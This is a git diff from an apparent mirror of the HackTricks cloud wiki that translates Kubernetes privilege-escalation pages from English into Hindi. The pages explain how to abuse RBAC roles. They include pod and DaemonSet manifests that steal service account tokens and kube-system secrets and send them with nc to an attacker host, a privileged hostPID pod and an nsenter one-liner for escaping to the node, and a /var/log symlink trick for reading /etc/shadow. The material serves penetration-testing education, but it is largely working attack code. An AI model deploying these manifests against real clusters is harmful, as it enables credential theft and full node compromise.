mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-31 08:00:32 -07:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## Kubernetes Basics
|
||||
|
||||
If you don't know anything about Kubernetes this is a **good start**. Read it to learn about the **architecture, components and basic actions** in Kubernetes:
|
||||
यदि आप Kubernetes के बारे में कुछ नहीं जानते हैं तो यह एक **अच्छी शुरुआत** है। **आर्किटेक्चर, घटक और बुनियादी क्रियाएँ** सीखने के लिए इसे पढ़ें:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-basics.md
|
||||
@@ -25,9 +25,9 @@ kubernetes-hardening/
|
||||
|
||||
### From the Outside
|
||||
|
||||
There are several possible **Kubernetes services that you could find exposed** on the Internet (or inside internal networks). If you find them you know there is Kubernetes environment in there.
|
||||
इंटरनेट (या आंतरिक नेटवर्क) पर **Kubernetes सेवाएँ जो आप खोज सकते हैं** उनमें से कई संभावित हैं। यदि आप उन्हें खोजते हैं, तो आप जानते हैं कि वहाँ एक Kubernetes वातावरण है।
|
||||
|
||||
Depending on the configuration and your privileges you might be able to abuse that environment, for more information:
|
||||
कॉन्फ़िगरेशन और आपके विशेषाधिकार के आधार पर, आप उस वातावरण का दुरुपयोग कर सकते हैं, अधिक जानकारी के लिए:
|
||||
|
||||
{{#ref}}
|
||||
pentesting-kubernetes-services/
|
||||
@@ -35,7 +35,7 @@ pentesting-kubernetes-services/
|
||||
|
||||
### Enumeration inside a Pod
|
||||
|
||||
If you manage to **compromise a Pod** read the following page to learn how to enumerate and try to **escalate privileges/escape**:
|
||||
यदि आप **एक Pod को समझौता** करने में सफल होते हैं, तो **विशेषाधिकारों को बढ़ाने/भागने** के लिए कैसे सूचीबद्ध करें, यह जानने के लिए निम्नलिखित पृष्ठ पढ़ें:
|
||||
|
||||
{{#ref}}
|
||||
attacking-kubernetes-from-inside-a-pod.md
|
||||
@@ -43,19 +43,19 @@ attacking-kubernetes-from-inside-a-pod.md
|
||||
|
||||
### Enumerating Kubernetes with Credentials
|
||||
|
||||
You might have managed to compromise **user credentials, a user token or some service account toke**n. You can use it to talk to the Kubernetes API service and try to **enumerate it to learn more** about it:
|
||||
आपने **उपयोगकर्ता क्रेडेंशियल, एक उपयोगकर्ता टोकन या कुछ सेवा खाता टोकन** को समझौता करने में सफल हो सकते हैं। आप इसका उपयोग Kubernetes API सेवा से बात करने और इसके बारे में अधिक जानने के लिए **सूचीबद्ध** करने के लिए कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
Another important details about enumeration and Kubernetes permissions abuse is the **Kubernetes Role-Based Access Control (RBAC)**. If you want to abuse permissions, you first should read about it here:
|
||||
सूचीबद्ध करने और Kubernetes अनुमतियों के दुरुपयोग के बारे में एक और महत्वपूर्ण विवरण है **Kubernetes Role-Based Access Control (RBAC)**। यदि आप अनुमतियों का दुरुपयोग करना चाहते हैं, तो आपको पहले इसके बारे में यहाँ पढ़ना चाहिए:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-role-based-access-control-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
#### Knowing about RBAC and having enumerated the environment you can now try to abuse the permissions with:
|
||||
#### RBAC के बारे में जानने और वातावरण को सूचीबद्ध करने के बाद, आप अब अनुमतियों का दुरुपयोग करने का प्रयास कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
@@ -63,7 +63,7 @@ abusing-roles-clusterroles-in-kubernetes/
|
||||
|
||||
### Privesc to a different Namespace
|
||||
|
||||
If you have compromised a namespace you can potentially escape to other namespaces with more interesting permissions/resources:
|
||||
यदि आपने एक namespace को समझौता किया है, तो आप अधिक दिलचस्प अनुमतियों/संसाधनों के साथ अन्य namespaces में भागने में सक्षम हो सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-namespace-escalation.md
|
||||
@@ -71,14 +71,10 @@ kubernetes-namespace-escalation.md
|
||||
|
||||
### From Kubernetes to the Cloud
|
||||
|
||||
If you have compromised a K8s account or a pod, you might be able able to move to other clouds. This is because in clouds like AWS or GCP is possible to **give a K8s SA permissions over the cloud**.
|
||||
यदि आपने एक K8s खाता या एक pod को समझौता किया है, तो आप अन्य क्लाउड में जाने में सक्षम हो सकते हैं। इसका कारण यह है कि AWS या GCP जैसे क्लाउड में **K8s SA को क्लाउड पर अनुमतियाँ देना संभव है**।
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-pivoting-to-clouds.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+280
-342
@@ -1,145 +1,133 @@
|
||||
# Abusing Roles/ClusterRoles in Kubernetes
|
||||
# Kubernetes में Roles/ClusterRoles का दुरुपयोग
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Here you can find some potentially dangerous Roles and ClusterRoles configurations.\
|
||||
Remember that you can get all the supported resources with `kubectl api-resources`
|
||||
यहाँ आप कुछ संभावित खतरनाक Roles और ClusterRoles कॉन्फ़िगरेशन पा सकते हैं।\
|
||||
याद रखें कि आप `kubectl api-resources` के साथ सभी समर्थित संसाधनों को प्राप्त कर सकते हैं।
|
||||
|
||||
## **Privilege Escalation**
|
||||
## **विशेषाधिकार वृद्धि**
|
||||
|
||||
Referring as the art of getting **access to a different principal** within the cluster **with different privileges** (within the kubernetes cluster or to external clouds) than the ones you already have, in Kubernetes there are basically **4 main techniques to escalate privileges**:
|
||||
क्लस्टर के भीतर **विभिन्न विशेषाधिकारों** के साथ **एक अलग प्रिंसिपल** तक पहुँच प्राप्त करने की कला के रूप में संदर्भित किया जाता है (कुबेरनेट्स क्लस्टर के भीतर या बाहरी क्लाउड के लिए) जो आपके पास पहले से हैं, कुबेरनेट्स में विशेषाधिकार बढ़ाने के लिए मूल रूप से **4 मुख्य तकनीकें** हैं:
|
||||
|
||||
- Be able to **impersonate** other user/groups/SAs with better privileges within the kubernetes cluster or to external clouds
|
||||
- Be able to **create/patch/exec pods** where you can **find or attach SAs** with better privileges within the kubernetes cluster or to external clouds
|
||||
- Be able to **read secrets** as the SAs tokens are stored as secrets
|
||||
- Be able to **escape to the node** from a container, where you can steal all the secrets of the containers running in the node, the credentials of the node, and the permissions of the node within the cloud it's running in (if any)
|
||||
- A fifth technique that deserves a mention is the ability to **run port-forward** in a pod, as you may be able to access interesting resources within that pod.
|
||||
- कुबेरनेट्स क्लस्टर के भीतर या बाहरी क्लाउड के लिए बेहतर विशेषाधिकारों के साथ अन्य उपयोगकर्ता/समूह/एसए को **प्रतिनिधित्व** करने में सक्षम होना
|
||||
- जहाँ आप कुबेरनेट्स क्लस्टर के भीतर या बाहरी क्लाउड के लिए बेहतर विशेषाधिकारों के साथ **एसए** को **पाना या संलग्न करना** कर सकते हैं, वहाँ **पॉड्स** को **बनाने/पैच/एक्सेक्यूट** करने में सक्षम होना
|
||||
- **गुप्त पढ़ने** में सक्षम होना क्योंकि एसए टोकन गुप्त के रूप में संग्रहीत होते हैं
|
||||
- एक कंटेनर से **नोड पर भागने** में सक्षम होना, जहाँ आप नोड पर चल रहे कंटेनरों के सभी गुप्त, नोड के क्रेडेंशियल और नोड के क्लाउड में चलने के दौरान की अनुमतियों को चुरा सकते हैं (यदि कोई हो)
|
||||
- एक पाँचवीं तकनीक जिसका उल्लेख किया जाना चाहिए वह है **पॉड में पोर्ट-फॉरवर्ड** चलाने की क्षमता, क्योंकि आप उस पॉड के भीतर दिलचस्प संसाधनों तक पहुँच प्राप्त कर सकते हैं।
|
||||
|
||||
### Access Any Resource or Verb (Wildcard)
|
||||
|
||||
The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster
|
||||
### किसी भी संसाधन या क्रिया (वाइल्डकार्ड) तक पहुँच
|
||||
|
||||
**वाइल्डकार्ड (\*) किसी भी क्रिया के साथ किसी भी संसाधन पर अनुमति देता है**। इसका उपयोग प्रशासकों द्वारा किया जाता है। एक ClusterRole के भीतर इसका मतलब है कि एक हमलावर क्लस्टर में किसी भीnamespace का दुरुपयोग कर सकता है।
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: api-resource-verbs-all
|
||||
name: api-resource-verbs-all
|
||||
rules:
|
||||
rules:
|
||||
- apiGroups: ["*"]
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
```
|
||||
### किसी विशेष क्रिया के साथ किसी भी संसाधन तक पहुँचें
|
||||
|
||||
### Access Any Resource with a specific verb
|
||||
|
||||
In RBAC, certain permissions pose significant risks:
|
||||
|
||||
1. **`create`:** Grants the ability to create any cluster resource, risking privilege escalation.
|
||||
2. **`list`:** Allows listing all resources, potentially leaking sensitive data.
|
||||
3. **`get`:** Permits accessing secrets from service accounts, posing a security threat.
|
||||
RBAC में, कुछ अनुमतियाँ महत्वपूर्ण जोखिम प्रस्तुत करती हैं:
|
||||
|
||||
1. **`create`:** किसी भी क्लस्टर संसाधन को बनाने की क्षमता प्रदान करता है, जिससे विशेषाधिकार वृद्धि का जोखिम होता है।
|
||||
2. **`list`:** सभी संसाधनों की सूची बनाने की अनुमति देता है, संभावित रूप से संवेदनशील डेटा लीक कर सकता है।
|
||||
3. **`get`:** सेवा खातों से रहस्यों तक पहुँचने की अनुमति देता है, जो सुरक्षा के लिए खतरा है।
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: api-resource-verbs-all
|
||||
name: api-resource-verbs-all
|
||||
rules:
|
||||
rules:
|
||||
- apiGroups: ["*"]
|
||||
resources: ["*"]
|
||||
verbs: ["create", "list", "get"]
|
||||
resources: ["*"]
|
||||
verbs: ["create", "list", "get"]
|
||||
```
|
||||
|
||||
### Pod Create - Steal Token
|
||||
|
||||
An atacker with the permissions to create a pod, could attach a privileged Service Account into the pod and steal the token to impersonate the Service Account. Effectively escalating privileges to it
|
||||
|
||||
Example of a pod that will steal the token of the `bootstrap-signer` service account and send it to the attacker:
|
||||
एक हमलावर जिसके पास एक पोड बनाने की अनुमति है, वह पोड में एक विशेषाधिकार प्राप्त सेवा खाता संलग्न कर सकता है और सेवा खाते की पहचान चुराने के लिए टोकन चुरा सकता है। प्रभावी रूप से इसके लिए विशेषाधिकार बढ़ाना
|
||||
|
||||
`bootstrap-signer` सेवा खाते का टोकन चुराने और इसे हमलावर को भेजने वाले पोड का उदाहरण:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: alpine
|
||||
namespace: kube-system
|
||||
name: alpine
|
||||
namespace: kube-system
|
||||
spec:
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ["/bin/sh"]
|
||||
args:
|
||||
[
|
||||
"-c",
|
||||
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
|
||||
]
|
||||
serviceAccountName: bootstrap-signer
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ["/bin/sh"]
|
||||
args:
|
||||
[
|
||||
"-c",
|
||||
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
|
||||
]
|
||||
serviceAccountName: bootstrap-signer
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
```
|
||||
|
||||
### Pod Create & Escape
|
||||
|
||||
The following indicates all the privileges a container can have:
|
||||
|
||||
- **Privileged access** (disabling protections and setting capabilities)
|
||||
- **Disable namespaces hostIPC and hostPid** that can help to escalate privileges
|
||||
- **Disable hostNetwork** namespace, giving access to steal nodes cloud privileges and better access to networks
|
||||
- **Mount hosts / inside the container**
|
||||
निम्नलिखित सभी विशेषाधिकारों को दर्शाता है जो एक कंटेनर हो सकता है:
|
||||
|
||||
- **विशेषाधिकार प्राप्त पहुंच** (सुरक्षाओं को अक्षम करना और क्षमताओं को सेट करना)
|
||||
- **namespace hostIPC और hostPid को अक्षम करें** जो विशेषाधिकारों को बढ़ाने में मदद कर सकते हैं
|
||||
- **hostNetwork** namespace को अक्षम करें, जो नोड्स के क्लाउड विशेषाधिकारों को चुराने और नेटवर्कों तक बेहतर पहुंच देने की अनुमति देता है
|
||||
- **कंटेनर के अंदर होस्ट्स को माउंट करें**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: ubuntu
|
||||
labels:
|
||||
app: ubuntu
|
||||
name: ubuntu
|
||||
labels:
|
||||
app: ubuntu
|
||||
spec:
|
||||
# Uncomment and specify a specific node you want to debug
|
||||
# nodeName: <insert-node-name-here>
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "3600" # adjust this as needed -- use only as long as you need
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: true
|
||||
privileged: true
|
||||
#capabilities:
|
||||
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
|
||||
runAsUser: 0 # run as root (or any other user)
|
||||
volumeMounts:
|
||||
- mountPath: /host
|
||||
name: host-volume
|
||||
restartPolicy: Never # we want to be intentional about running this pod
|
||||
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
|
||||
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
|
||||
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
|
||||
volumes:
|
||||
- name: host-volume
|
||||
hostPath:
|
||||
path: /
|
||||
# Uncomment and specify a specific node you want to debug
|
||||
# nodeName: <insert-node-name-here>
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "3600" # adjust this as needed -- use only as long as you need
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: true
|
||||
privileged: true
|
||||
#capabilities:
|
||||
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
|
||||
runAsUser: 0 # run as root (or any other user)
|
||||
volumeMounts:
|
||||
- mountPath: /host
|
||||
name: host-volume
|
||||
restartPolicy: Never # we want to be intentional about running this pod
|
||||
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
|
||||
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
|
||||
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
|
||||
volumes:
|
||||
- name: host-volume
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
|
||||
Create the pod with:
|
||||
|
||||
पॉड बनाएं:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
|
||||
One-liner from [this tweet](https://twitter.com/mauilion/status/1129468485480751104) and with some additions:
|
||||
|
||||
एक-लाइनर [इस ट्वीट](https://twitter.com/mauilion/status/1129468485480751104) से और कुछ अतिरिक्त के साथ:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
|
||||
Now that you can escape to the node check post-exploitation techniques in:
|
||||
अब जब आप नोड पर भाग सकते हैं, तो पोस्ट-एक्सप्लॉइटेशन तकनीकों की जांच करें:
|
||||
|
||||
#### Stealth
|
||||
|
||||
You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template:
|
||||
आप शायद **stealthier** होना चाहते हैं, अगले पृष्ठों पर आप देख सकते हैं कि यदि आप पिछले टेम्पलेट में उल्लेखित कुछ विशेषाधिकारों को सक्षम करके एक पॉड बनाते हैं तो आप क्या एक्सेस कर पाएंगे:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -148,14 +136,14 @@ You probably want to be **stealthier**, in the following pages you can see what
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_आप पिछले विशेषाधिकार प्राप्त पॉड कॉन्फ़िगरेशन बनाने/दुरुपयोग करने के उदाहरण [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) में पा सकते हैं।_
|
||||
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\
|
||||
Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance.
|
||||
यदि आप **create** कर सकते हैं एक **pod** (और वैकल्पिक रूप से एक **service account**) तो आप **cloud environment में विशेषाधिकार प्राप्त करने में सक्षम हो सकते हैं** एक पॉड या सेवा खाते को **cloud roles सौंपकर** और फिर इसे एक्सेस करके।\
|
||||
इसके अलावा, यदि आप **host network namespace** के साथ एक **pod** बना सकते हैं, तो आप **node** इंस्टेंस की IAM भूमिका **चुरा** सकते हैं।
|
||||
|
||||
For more information check:
|
||||
अधिक जानकारी के लिए जांचें:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
@@ -163,74 +151,67 @@ pod-escape-privileges.md
|
||||
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
It's possible to abouse these permissions to **create a new pod** and estalae privileges like in the previous example.
|
||||
|
||||
The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
|
||||
इन अनुमतियों का दुरुपयोग करना संभव है **एक नया पॉड बनाने** और पिछले उदाहरण की तरह विशेषाधिकार स्थापित करने के लिए।
|
||||
|
||||
निम्नलिखित yaml **एक डेमनसेट बनाता है और पॉड के अंदर SA का टोकन निकालता है:**
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
metadata:
|
||||
name: alpine
|
||||
namespace: kube-system
|
||||
name: alpine
|
||||
namespace: kube-system
|
||||
spec:
|
||||
selector:
|
||||
matchLabels:
|
||||
name: alpine
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: alpine
|
||||
spec:
|
||||
serviceAccountName: bootstrap-signer
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ["/bin/sh"]
|
||||
args:
|
||||
[
|
||||
"-c",
|
||||
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
|
||||
]
|
||||
volumeMounts:
|
||||
- mountPath: /root
|
||||
name: mount-node-root
|
||||
volumes:
|
||||
- name: mount-node-root
|
||||
hostPath:
|
||||
path: /
|
||||
selector:
|
||||
matchLabels:
|
||||
name: alpine
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: alpine
|
||||
spec:
|
||||
serviceAccountName: bootstrap-signer
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ["/bin/sh"]
|
||||
args:
|
||||
[
|
||||
"-c",
|
||||
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
|
||||
]
|
||||
volumeMounts:
|
||||
- mountPath: /root
|
||||
name: mount-node-root
|
||||
volumes:
|
||||
- name: mount-node-root
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
|
||||
### **Pods Exec**
|
||||
|
||||
**`pods/exec`** is a resource in kubernetes used for **running commands in a shell inside a pod**. This allows to **run commands inside the containers or get a shell inside**.
|
||||
|
||||
Therfore, it's possible to **get inside a pod and steal the token of the SA**, or enter a privileged pod, escape to the node, and steal all the tokens of the pods in the node and (ab)use the node:
|
||||
**`pods/exec`** क्यूबेरनेट्स में एक संसाधन है जिसका उपयोग **पॉड के अंदर एक शेल में कमांड चलाने के लिए** किया जाता है। यह **कंटेनरों के अंदर कमांड चलाने या एक शेल प्राप्त करने** की अनुमति देता है।
|
||||
|
||||
इसलिए, यह संभव है कि **एक पॉड के अंदर जाएं और SA का टोकन चुरा लें**, या एक विशेषाधिकार प्राप्त पॉड में प्रवेश करें, नोड पर भागें, और नोड में सभी पॉड्स के टोकन चुरा लें और (अ)उपयोग करें:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
|
||||
### port-forward
|
||||
|
||||
This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod:
|
||||
|
||||
यह अनुमति **एक स्थानीय पोर्ट को निर्दिष्ट पॉड में एक पोर्ट पर अग्रेषित करने** की अनुमति देती है। इसका उद्देश्य पॉड के अंदर चल रहे अनुप्रयोगों को आसानी से डिबग करना है, लेकिन एक हमलावर इसका दुरुपयोग करके पॉड के अंदर दिलचस्प (जैसे DBs) या कमजोर अनुप्रयोगों (वेब?) तक पहुंच प्राप्त कर सकता है:
|
||||
```
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\
|
||||
This is basically because the when the **Kube-API tries to get the logs** of a container (using `kubectl logs <pod>`), it **requests the `0.log`** file of the pod using the `/logs/` endpoint of the **Kubelet** service.\
|
||||
The Kubelet service exposes the `/logs/` endpoint which is just basically **exposing the `/var/log` filesystem of the container**.
|
||||
जैसा कि [**इस शोध में संकेतित किया गया है**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), यदि आप एक पॉड तक पहुँच सकते हैं या एक पॉड बना सकते हैं जिसमें **होस्ट का `/var/log/` निर्देशिका माउंट किया गया है**, तो आप **कंटेनर से बाहर निकल सकते हैं**।\
|
||||
यह मूल रूप से इस कारण है कि जब **Kube-API एक कंटेनर के लॉग प्राप्त करने की कोशिश करता है** (उदाहरण के लिए `kubectl logs <pod>` का उपयोग करते हुए), तो यह **पॉड के `0.log`** फ़ाइल को **Kubelet** सेवा के `/logs/` एंडपॉइंट का उपयोग करके अनुरोध करता है।\
|
||||
Kubelet सेवा `/logs/` एंडपॉइंट को उजागर करती है जो मूल रूप से **कंटेनर के `/var/log` फ़ाइल सिस्टम को उजागर कर रही है**।
|
||||
|
||||
Therefore, an attacker with **access to write in the /var/log/ folder** of the container could abuse this behaviours in 2 ways:
|
||||
|
||||
- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
|
||||
इसलिए, एक हमलावर जिसके पास **कंटेनर के /var/log/ फ़ोल्डर में लिखने की पहुँच है** वह इस व्यवहार का दुरुपयोग 2 तरीकों से कर सकता है:
|
||||
|
||||
- अपने कंटेनर के `0.log` फ़ाइल को संशोधित करना (जो आमतौर पर `/var/logs/pods/namespace_pod_uid/container/0.log` में स्थित होता है) ताकि यह एक **सिंबलिंक हो जो `/etc/shadow`** की ओर इशारा करता हो, उदाहरण के लिए। फिर, आप निम्नलिखित करके होस्ट का शैडो फ़ाइल निकालने में सक्षम होंगे:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -238,9 +219,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
|
||||
- If the attacker controls any principal with the **permissions to read `nodes/log`**, he can just create a **symlink** in `/host-mounted/var/log/sym` to `/` and when **accessing `https://<gateway>:10250/logs/sym/` he will lists the hosts root** filesystem (changing the symlink can provide access to files).
|
||||
|
||||
- यदि हमलावर के पास **`nodes/log` पढ़ने की अनुमति वाले किसी भी प्रिंसिपल पर नियंत्रण है**, तो वह बस `/host-mounted/var/log/sym` में `/` के लिए एक **symlink** बना सकता है और जब **`https://<gateway>:10250/logs/sym/` तक पहुँचता है, तो वह होस्ट की रूट** फ़ाइल प्रणाली को सूचीबद्ध करेगा (symlink को बदलने से फ़ाइलों तक पहुँच मिल सकती है)।
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -252,88 +231,78 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
<a href="lib">lib</a>
|
||||
[...]
|
||||
```
|
||||
**एक प्रयोगशाला और स्वचालित शोषण पाया जा सकता है** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
**A laboratory and automated exploit can be found in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
#### Bypassing readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
If you are lucky enough and the highly privileged capability capability `CAP_SYS_ADMIN` is available, you can just remount the folder as rw:
|
||||
#### readOnly सुरक्षा को बायपास करना <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
यदि आप भाग्यशाली हैं और उच्च विशेषाधिकार प्राप्त क्षमता `CAP_SYS_ADMIN` उपलब्ध है, तो आप बस फ़ोल्डर को rw के रूप में फिर से माउंट कर सकते हैं:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
|
||||
#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
As stated in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) it’s possible to bypass the protection:
|
||||
|
||||
जैसा कि [**इस शोध**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) में कहा गया है, सुरक्षा को बायपास करना संभव है:
|
||||
```yaml
|
||||
allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
|
||||
Which was meant to prevent escapes like the previous ones by, instead of using a a hostPath mount, use a PersistentVolume and a PersistentVolumeClaim to mount a hosts folder in the container with writable access:
|
||||
|
||||
जो पिछले जैसे भागने को रोकने के लिए था, एक hostPath माउंट का उपयोग करने के बजाय, एक PersistentVolume और एक PersistentVolumeClaim का उपयोग करके कंटेनर में लिखने योग्य पहुंच के साथ एक होस्ट फ़ोल्डर को माउंट करें:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
metadata:
|
||||
name: task-pv-volume-vol
|
||||
labels:
|
||||
type: local
|
||||
name: task-pv-volume-vol
|
||||
labels:
|
||||
type: local
|
||||
spec:
|
||||
storageClassName: manual
|
||||
capacity:
|
||||
storage: 10Gi
|
||||
accessModes:
|
||||
- ReadWriteOnce
|
||||
hostPath:
|
||||
path: "/var/log"
|
||||
storageClassName: manual
|
||||
capacity:
|
||||
storage: 10Gi
|
||||
accessModes:
|
||||
- ReadWriteOnce
|
||||
hostPath:
|
||||
path: "/var/log"
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: PersistentVolumeClaim
|
||||
metadata:
|
||||
name: task-pv-claim-vol
|
||||
name: task-pv-claim-vol
|
||||
spec:
|
||||
storageClassName: manual
|
||||
accessModes:
|
||||
- ReadWriteOnce
|
||||
resources:
|
||||
requests:
|
||||
storage: 3Gi
|
||||
storageClassName: manual
|
||||
accessModes:
|
||||
- ReadWriteOnce
|
